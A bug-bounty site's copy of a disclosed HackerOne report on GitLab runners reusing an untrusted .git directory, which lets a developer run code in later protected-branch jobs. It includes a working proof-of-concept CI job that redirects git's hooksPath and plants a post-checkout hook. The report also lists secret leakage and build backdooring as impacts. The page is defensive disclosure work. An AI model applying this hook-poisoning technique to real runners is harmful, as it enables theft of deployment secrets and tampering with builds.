Skip to content
RCE Disclosed report Intermediate

Poisoning of `.git/` in runner results in arbitrary code execution on all future jobs. (including ones for protected branches)

The GitLab runner reuses the existing .git directory without verifying its integrity, allowing a user with developer permissions to modify it and execute arbitrary code in future jobs, including those on protected branches. This enables privilege escalation, secret leakage, and build tampering.

GitLab

Originally disclosed on GitLab

  • Fixed in under an hour
  • Disclosed after under an hour

HackerOne report #1191195 by wapiflapi on 2021-05-10, assigned to @rchan-gitlab:

Report | How To Reproduce

Report

Summary

It is possible to poison the .git/ folder in a runner so that arbitrary code is executed on all future jobs.

This has the same effect as 1177453 but (probably) with a different root cause. This report is concerned with the integrity of the .git/ folder, without the need for the git-template. Maybe this will be a duplicate but I wanted to make sure this attack vector wasn't overlooked. I'm sorry if it was already obvious.

When the runner sets up the repository before running the job it re-uses the existing .git/ folder without ensuring its integrity. That folder could have been manipulated by a user with developer permissions, or any permissions allowing them to run a pipeline, allowing them to get code execution in the context of a protected branch and even in the context of the final build that will be deployed to other environments.

Steps to reproduce
Set up a new project on gitlab.com
  1. Set-up a new project on gitlab.com
  2. Disable Shared Runners in Settings > CI/CD > Runners. We do not want to poison gitlab.com's runners. (Note: if you do want to target the shared runners because there are a lot of them later you might not always hit the one you poisoned.)

Let's add a specific runner for this PoC on a server:

CONSOLE
$ sudo docker run --rm -it -v /srv/gitlab-runner/config:/etc/gitlab-runner gitlab/gitlab-runner register  

This will ask some questions and output something like:

CONSOLE
Runtime platform                                    arch=amd64 os=linux pid=6 revision=7f7a4bb0 version=13.11.0  
Running in system-mode.                              
                                                     
Enter the GitLab instance URL (for example, https://gitlab.com/):  
https://gitlab.com/  
Enter the registration token:  
<CENSORED>  
Enter a description for the runner:  
[e89391c6eb81]: soon-to-be-poisoned-runner  
Enter tags for the runner (comma-separated):

Registering runner... succeeded                     runner=r7awLLED  
Enter an executor: docker-ssh, parallels, docker+machine, docker-ssh+machine, kubernetes, docker, shell, ssh, virtualbox, custom:  
docker  
Enter the default Docker image (for example, ruby:2.6):  
ubuntu  
Runner registered successfully. Feel free to start it, but if it's running already the config should be automatically reloaded!   

Now start the runner:

CONSOLE
$ sudo docker run --rm -it -v /srv/gitlab-runner/config:/etc/gitlab-runner  -v /var/run/docker.sock:/var/run/docker.sock -p 8093:33380 gitlab/gitlab-runner  
Runtime platform                                    arch=amd64 os=linux pid=6 revision=7f7a4bb0 version=13.11.0  
Starting multi-runner from /etc/gitlab-runner/config.toml...  builds=0  
Running in system-mode.                              
[..]  
  1. Add a .gitlab-ci.yml file to the master branch.
YAML
test:  
  script:  
    - echo "This test is not doing anything dangerous."  
  1. Make sure the pipeline for the master branch has run successfully and nothing suspicious happened (yet).
Step in the shoes of an attacker
  1. Create a feature/poison branch and modify the .gitlab-ci.yml to include the following code:
YAML
test:  
  image: ubuntu  
  script:  
    - grep hooksPath .git/config && exit  
    - echo "[core]" >> .git/config  
    - echo "	hooksPath = $CI_PROJECT_DIR/.git/evil" >> .git/config  
    - mkdir -p "$CI_PROJECT_DIR/.git/evil/"  
    - echo "#! /bin/sh" >> "$CI_PROJECT_DIR/.git/evil/post-checkout"  
    - echo "echo Executed evil code in post-checkout." >> "$CI_PROJECT_DIR/.git/evil/post-checkout"  
    - chmod +x "$CI_PROJECT_DIR/.git/evil/post-checkout"  

What this does is change where git will look for hooks and install a malicious post-checkout hook inside the .git directory.

This is just an example, there are a lot of other ways that the .git directory can be abused to get code execution. Going as far as corrupting the git objects themselves because integrity isn't always checked, but there is a lot of more low hanging fruit.

  1. Check that the pipeline for the feature/poison branch has finished.
  2. Now the attacker waits til any other pipeline is executed, for this PoC you can trigger a pipeline on the master branch.

Notice how the pipeline for the master branch now contains a message saying "Executed evil code in post-checkout."

Impact

If a user has enough privilege to push code and trigger a pipeline on any branch (eg: developer), they can poison a gitlab runner and execute code on all future jobs in the context of protected branches. This elevates their privilege considerably.

For example:

  • A developer could leak sensitive information from protected environnement variables. (deploy tokens, registry access, AWS tokens, etc.)
  • A developer could alter the build process and backdoor the final product without detection because they wouldn't be touching the git repo.
  • They could cause a Denial of Service by aborting all job executions. This can not simply be fixed by pushing to the project, it requires a manual intervention on the runner to clean the poisoned files.
Examples

Because most of the process for this bug is so similar to 1177453 I did not bother to set up an example repository on gitlab.com. If this would be useful please let me know and I will do it.

What is the current bug behavior?

Jobs trust the integrity of the .git directory when this should not be the case. The cleaning that is in place is not enough (eg: removing post-checkout at its default location), and I don't think a "cleaning" approach could be sufficiently resilient.

What is the expected correct behavior?

The .git folder should be restored from a trusted source after having be exposed to untrusted code.

Keep in mind that this PoC is just an example, there are a lot of other ways that the .git directory can be abused to get code execution. Going as far as corrupting the git objects themselves because integrity isn't always checked, but there is a lot of more low hanging fruit.

Relevant logs and/or screenshots

N/A

Output of checks

This bug happens on GitLab.com

Impact

This is a repeat of the Impact section in the description.

If a user has enough privilege to push code and trigger a pipeline on any branch (eg: developer), they can poison a gitlab runner and execute code on all future jobs in the context of protected branches. This elevates their privilege considerably.

For example:

  • A developer could leak sensitive information from protected environnement variables. (deploy tokens, registry access, AWS tokens, etc.)
  • A developer could alter the build process and backdoor the final product without detection because they wouldn't be touching the git repo.
  • They could cause a Denial of Service by aborting all job executions. This can not simply be fixed by pushing to the project, it requires a manual intervention on the runner to clean the poisoned files.

How To Reproduce

Please add reproducibility information to this section:

The original report as published on GitLab. Images and videos are our own copies; raw HTML is shown as text. View it on GitLab.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The runner reuses the existing .git directory without ensuring its integrity after it has been exposed to untrusted code.

Impact

A developer could execute code on all future jobs in the context of protected branches, potentially leaking secrets, backdooring builds, or causing denial of service.

What the attacker needed

Developer permissions or ability to run a pipeline; access to a runner that reuses the .git directory

The fix

The .git folder should be restored from a trusted source after being exposed to untrusted code.

How it was found

  1. Set up a new project on gitlab.com and disable shared runners.
  2. Register and start a specific runner on a server.
  3. Add a .gitlab-ci.yml file to the master branch and ensure its pipeline runs successfully.
  4. Create a feature branch and modify .gitlab-ci.yml to change the hooks path and install a malicious post-checkout hook inside the .git directory.
  5. Run the pipeline for the feature branch to poison the runner.
  6. Trigger a pipeline on the master branch and observe the malicious code executing.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A GitLab runner is a program that runs jobs defined in a project's configuration file. The runner keeps a copy of the project's .git folder, which stores version control data. An attacker with permission to run a job can change that folder to include malicious scripts, and later jobs will run those scripts without checking if the folder was tampered with.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More from GitLab

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.